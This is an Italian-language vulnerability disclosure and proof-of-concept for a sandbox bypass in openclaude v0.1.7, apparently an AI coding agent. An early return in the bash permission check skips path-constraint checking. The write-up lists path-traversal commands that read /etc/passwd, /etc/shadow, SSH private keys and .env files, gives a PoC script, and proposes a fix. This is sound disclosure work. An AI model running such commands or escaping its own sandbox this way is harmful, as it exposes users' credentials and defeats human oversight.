rickidevs/cve-2026-35570# Analisi dettagliata e proof-of-concept per CVE-2026-35570, un bypass della sandbox in openclaude v0.1.7 che consente il path traversal per leggere e scrivere file arbitrari al di fuori della sandbox.
CVE-2026-35570 | CVSS 8.4 (Alto) | openclaude v0.1.7
Non ogni vulnerabilità richiede una sofisticata catena di exploit. A volte una singola istruzione return fuori posto è sufficiente per aprire un varco direttamente nel tuo modello di sicurezza. È esattamente ciò che è CVE-2026-35570.
Questo write-up riguarda un bypass della sandbox che ho trovato in openclaude v0.1.7 — un difetto logico che permette ai payload di path traversal di superare indisturbati il layer di isolamento del filesystem senza essere mai controllati.
Stavo esaminando bashPermissions.ts quando qualcosa nel flusso di controllo ha attirato la mia attenzione. La logica delle autorizzazioni sembrava ragionevole a prima vista — se siamo in una sandbox, auto-consenti il comando; altrimenti, chiedi all'utente. Abbastanza pulito.
Ma una domanda continuava a tormentarmi: dove avviene effettivamente il controllo dei vincoli di percorso?
Ho tracciato bashToolHasPermission() dall'inizio alla fine e ho mappato il percorso di esecuzione:
bashToolHasPermission()
│
├─ [~1445] Blocco auto-consenso sandbox
│ └─ Nessuna regola di rifiuto trovata → return ALLOW ⚠️ Uscita anticipata
│
└─ [~1644] checkPathConstraints() ❌ Mai raggiunto
Il blocco sandbox era stato costruito per saltare i prompt di autorizzazione interattivi negli ambienti sandbox. Totalmente ragionevole. Il problema è che quando restituisce ALLOW, la funzione esce proprio lì. checkPathConstraints() — la cosa effettivamente responsabile di intercettare il path traversal — non viene mai eseguita.
All'interno di bashToolHasPermission(), il blocco di auto-consenso della sandbox segue questa logica:
A quel punto, checkPathConstraints() viene completamente bypassato. Il filtro di path traversal non ha la possibilità di fare nulla.
Dal punto di vista di un attaccante, ciò significa che comandi come questi passano direttamente:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
Tutti restituiscono behavior: allow. Nessun prompt. Nessun blocco. Niente.
Tre cose diventano possibili quando questo difetto è presente:
Letture arbitrarie di file. Qualsiasi cosa al di fuori del confine della sandbox è un bersaglio legittimo — /etc/passwd, /etc/shadow, chiavi private SSH, file .env. Finché i permessi a livello di sistema operativo lo consentono, il file può essere letto.
Scritture arbitrarie di file. La stessa logica si applica al contrario. Un attaccante può scrivere su percorsi al di fuori della sandbox, il che apre la porta alla sovrascrittura di file di configurazione o al rilascio di contenuti in posizioni inaspettate.
Fallimento completo dell'isolamento della sandbox. L'intero scopo della sandbox è imporre i confini del filesystem. Con questo bug presente, quella garanzia non significa nulla.
CVSS v3.1: 8.4 (Alto) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
La correzione è concettualmente semplice. Il blocco di auto-consenso della sandbox dovrebbe sopprimere i prompt interattivi — tutto qui. Non dovrebbe mai cortocircuitare l'intera pipeline di autorizzazioni.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Restituisci anticipatamente solo per deny o ask — non saltare mai i controlli di percorso su allow
return sandboxResult;
}
// Se allow, prosegui fino a checkPathConstraints qui sotto
}
// Il controllo di path traversal deve essere sempre eseguito
return checkPathConstraints(input, appState.toolPermissionContext);
La regola pratica qui è: l'auto-consenso della sandbox salta il prompt, non i controlli di sicurezza.
| Campo | Dettaglio |
|---|---|
| Pacchetto | openclaude |
| Versione interessata | v0.1.7 |
| Versione corretta | Nessuna |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (Alto) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Avvia openclaude con i flag sandbox e auto-consenso impostati:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
I nomi delle variabili potrebbero differire leggermente. Controlla la classe
SandboxManagerper confermare le esatte corrispondenze delle variabili d'ambiente per la tua build.
Salva quanto segue come poc.ts nella root del progetto:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Imposta le condizioni della sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload con path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Result:', result.behavior);
// Atteso: "deny" — il path traversal dovrebbe essere bloccato
// Reale: "allow" ← vulnerabilità confermata
Poi eseguilo:
npx ts-node poc.ts
Vedrai:
Result: allow
checkPathConstraints() non è mai stata chiamata. Per confermarlo tu stesso, inserisci una riga di log in bashPermissions.ts:
// Intorno alla riga 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints was called'); // Questo non verrà mai stampato
// ...
}
Esegui di nuovo lo script. Il log non apparirà — la funzione viene realmente saltata.
Apri openclaude in una sessione sandbox e invia il seguente comando:
cat ../../../../../etc/passwd
Viene eseguito senza alcun prompt o blocco di autorizzazione, e scarica direttamente il contenuto di /etc/passwd.
CVE-2026-35570